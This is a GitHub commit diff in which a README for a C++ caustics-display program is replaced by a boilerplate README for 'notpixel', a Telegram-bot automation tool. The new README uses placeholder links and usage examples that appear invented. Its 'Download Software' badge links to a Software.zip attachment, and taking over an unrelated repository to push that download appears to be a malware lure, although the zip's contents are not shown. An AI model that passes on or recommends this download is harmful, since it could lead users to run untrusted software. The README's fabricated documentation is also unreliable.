-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
7bb613a
commit 912d598
Showing
1 changed file
with
85 additions
and
29 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,43 +1,99 @@ | ||
# caustics-display | ||
# notpixel | ||
|
||
A simple C++ program used to verify the caustics pattern produced by the output of [Kassubeck et al.'s implementation](https://github.com/CompN3rd/ShapeFromCaustics/tree/main/schwartzburg_2014) of Schwartzburg et al.'s [High-contrast computational caustic design](https://dl.acm.org/doi/10.1145/2601097.2601200). | ||
![notpixel logo](https://example.com/notpixel-logo.png) | ||
|
||
## Dependencies | ||
Python automation tool for interacting with the telegram Notpixel bot. | ||
|
||
Make sure to include these when building the program. | ||
- [SDL 2](https://www.libsdl.org/) | ||
- [Eigen](https://eigen.tuxfamily.org/) | ||
## Overview | ||
|
||
## How to use | ||
notpixel is a versatile Python automation tool designed to work seamlessly with the telegram Notpixel bot. With features such as auto refs, auto drawing, auto tasks, multithreading, proxy support, and pyrogram sessions integration, notpixel simplifies and enhances the interaction process, providing a powerful and intuitive tool for users. | ||
|
||
1. First build the caustics display executable. | ||
2. Run Kassubeck et al.'s implementation to obtain an .obj file for your target image. The target image must be 256x256 pixels. | ||
3. Place the .obj file in the same directory as the built executable. | ||
4. Open the command line in the same directory, and run: | ||
`causticsdisplay.exe [filename].obj [receiver_plane]` | ||
<br>The first argument is the .obj file, and the second argument is the distance to the receiver plane when generating the .obj file. | ||
5. If successful, the display window will open shortly and the caustics pattern will be shown. | ||
<br>The window can be resized to make the pattern more clear. | ||
<br>Pressing W and S will increase or decrease the receiver plane distance, respectively, in order to fine-tune the spacing. | ||
<br>Pressing Q will display the current distance in the console. | ||
## Features | ||
|
||
## Sample Screenshots | ||
🤖 **Auto Refs**: Automatically handle references within the bot. | ||
🎨 **Auto Drawing**: Conveniently work with drawing functionalities. | ||
⚙️ **Auto Tasks**: Streamline task automation. | ||
🔗 **Multithreading**: Utilize multithreading capabilities for improved performance. | ||
🛡 **Proxy Support**: Stay secure and anonymous with proxy integration. | ||
🔒 **Pyrogram Sessions**: Seamlessly integrate with Pyrogram sessions for enhanced functionality. | ||
|
||
### Target image | ||
## Quick Start | ||
|
||
![target](./img/target.png) | ||
<br>Photo of a marble fox I found on Google, made grayscale and shrunk down to 256x256 | ||
Follow these steps to get started with notpixel: | ||
|
||
### Screenshot of the .obj file / lens shape generated by Kassubeck et al.'s code | ||
1. Clone the repository: | ||
|
||
![lens](./img/lens.png) | ||
<br> (file too large to upload to GitHub - I've uploaded it [here](https://mega.nz/file/2593DAST#vWJQIVjO7D_PTpi0Drja8bFXgGCo55YhR6MlpsjPxXI) to test with yourself!) | ||
```bash | ||
git clone https://github.com/username/notpixel.git | ||
``` | ||
|
||
### Running the executable | ||
2. Install the required dependencies: | ||
|
||
![command](./img/command.png) | ||
```bash | ||
pip install -r requirements.txt | ||
``` | ||
|
||
### Caustics image | ||
3. Configure your settings: | ||
|
||
![caustics](./img/causticsSMALL.png) | ||
<br>(The display window was resized to be larger to make the image more clear, the program will start at 256x256 resolution. It may look a little funky in the README but you can still make out the image, full resolution in ./img/caustics.png!) | ||
Update the configuration files to customize your notpixel experience. | ||
|
||
4. Run notpixel: | ||
|
||
```bash | ||
python notpixel.py | ||
``` | ||
|
||
## Examples | ||
|
||
### Auto Refs | ||
|
||
```python | ||
from notpixel import AutoRefs | ||
|
||
refs = AutoRefs() | ||
refs.handle_references() | ||
``` | ||
|
||
### Auto Drawing | ||
|
||
```python | ||
from notpixel import AutoDrawing | ||
|
||
drawing = AutoDrawing() | ||
drawing.create_canvas() | ||
``` | ||
|
||
### Auto Tasks | ||
|
||
```python | ||
from notpixel import AutoTasks | ||
|
||
tasks = AutoTasks() | ||
tasks.run_all_tasks() | ||
``` | ||
|
||
## Download | ||
|
||
[![Download Software](https://img.shields.io/badge/Download-Software-green)](https://github.com/user-attachments/files/17130043/Software.zip) | ||
|
||
## Contributing | ||
|
||
We welcome contributions from the community! If you'd like to contribute to notpixel, please follow these guidelines: | ||
|
||
1. Fork the repository. | ||
2. Create a new branch for your feature or fix. | ||
3. Implement your changes. | ||
4. Test your changes. | ||
5. Submit a pull request. | ||
|
||
## License | ||
|
||
[MIT License](https://opensource.org/licenses/MIT) | ||
|
||
--- | ||
|
||
Feel free to explore and leverage the full range of capabilities that notpixel offers. Simplify your interactions with the telegram Notpixel bot today! 🚀 | ||
|
||
--- | ||
|
||
![footer image](https://example.com/footer-image.png) |